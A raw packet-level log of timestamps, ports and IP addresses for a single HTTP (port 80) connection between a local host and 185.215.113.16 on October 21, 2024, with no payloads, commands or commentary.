Oct 21, 2024 10:47:12.911845922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.911858082 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.911868095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.911880016 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.911891937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.911897898 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.911953926 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.912242889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.912276983 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.912286043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.912295103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.912316084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.912331104 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.912331104 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.912400007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.912409067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.912414074 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.912420988 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.912480116 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.912480116 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.924933910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.924945116 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.924952030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.924962044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.925040007 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.937433004 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937510967 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.937531948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937544107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937553883 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937563896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937573910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937585115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937587976 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.937633991 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.937633991 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.937655926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937666893 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937675953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937685966 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937696934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937705040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937715054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937730074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937756062 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937767029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937776089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937784910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937796116 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937805891 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937815905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937827110 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937836885 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.937836885 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.937838078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937870026 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.937870026 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.937921047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937932014 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937944889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937953949 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937963963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937973976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937984943 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.937994957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938004971 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938014030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938024998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938033104 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938045025 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938060999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938071966 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938081026 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938091040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938100100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938111067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938122034 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938133001 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938141108 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938148975 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938159943 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938170910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938180923 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.938215971 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.938252926 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.938287020 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.971101999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.971117973 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.971122026 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.971306086 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.009346008 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.009363890 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.009375095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.009386063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.009423018 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.009427071 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.009511948 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.051422119 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.051515102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.051523924 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.051621914 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.051621914 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.054594040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.054605007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.054614067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.054680109 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.066754103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.066764116 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.066777945 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.066836119 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.066845894 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.066857100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.066867113 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.066907883 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.066915989 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.066915989 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.066915989 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.066941023 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.067101002 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.067110062 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.067127943 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.067140102 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.067152977 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.067186117 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.067197084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.067234993 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.067248106 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.067385912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.067395926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.067447901 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.079746962 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.079762936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.079771996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.079822063 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.079864025 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.091523886 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091536999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091547012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091557980 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091634989 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.091672897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091689110 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091701031 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091705084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091715097 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091732979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091752052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091763973 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091770887 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.091770887 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.091770887 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.091770887 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.091777086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091784000 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091794014 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091809988 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091820002 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091840982 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091855049 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091862917 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091871977 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091882944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091885090 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.091892004 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091902018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091917038 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091926098 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091928005 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.091928005 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.091938972 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.091950893 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092005014 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092015028 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092022896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092062950 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092062950 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092087984 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092140913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092154026 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092164040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092202902 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092211008 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092217922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092230082 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092246056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092247963 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092256069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092267990 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092272043 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092277050 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092319965 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092319965 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092350960 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092406034 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092415094 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092433929 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092474937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092485905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092494965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092505932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092519999 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092519999 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092521906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092556953 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092573881 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092575073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092659950 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092659950 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092669964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092678070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092688084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092698097 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092706919 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092730045 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092773914 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092865944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092875957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092885971 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092909098 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.092943907 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.092943907 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.093437910 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.125921965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.125936985 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.125946999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.126184940 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.165107965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.165128946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.165138960 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.165189981 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.165189981 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.165239096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.165249109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.165258884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.165317059 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.165317059 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.206316948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.206336975 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.206346989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.206485033 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.206485033 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.209410906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.209422112 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.209451914 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.209460020 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.209491968 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.209491968 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.221621037 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.221642017 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.221710920 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.221720934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.221724033 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.221767902 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.221812010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.221904039 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.221923113 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.221980095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.221992970 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.222002029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.222039938 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.222059011 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.222090960 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.222101927 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.222115993 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.222130060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.222147942 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.222157955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.222167015 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.222167015 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.222173929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.222217083 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.222217083 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.234575987 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.234585047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.234591007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.234641075 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.234649897 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.234766006 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.246115923 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246134996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246141911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246175051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246184111 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246191978 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246196032 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.246196032 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.246222973 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.246263027 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.246298075 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246309996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246319056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246398926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246449947 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246462107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246546030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246556044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246565104 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246576071 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246586084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246594906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246604919 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246613979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246624947 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246624947 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.246681929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246684074 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.246684074 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.246706963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246716022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246748924 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.246773005 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.246911049 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246921062 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246929884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.246977091 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247009993 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247020960 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247030020 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247045994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247056961 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247065067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247070074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247078896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247088909 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247097015 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247114897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247118950 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247126102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247136116 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247144938 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247147083 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:13.247173071 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:13.247178078 CEST	49855	80	192.168.2.4	185.215.113.16
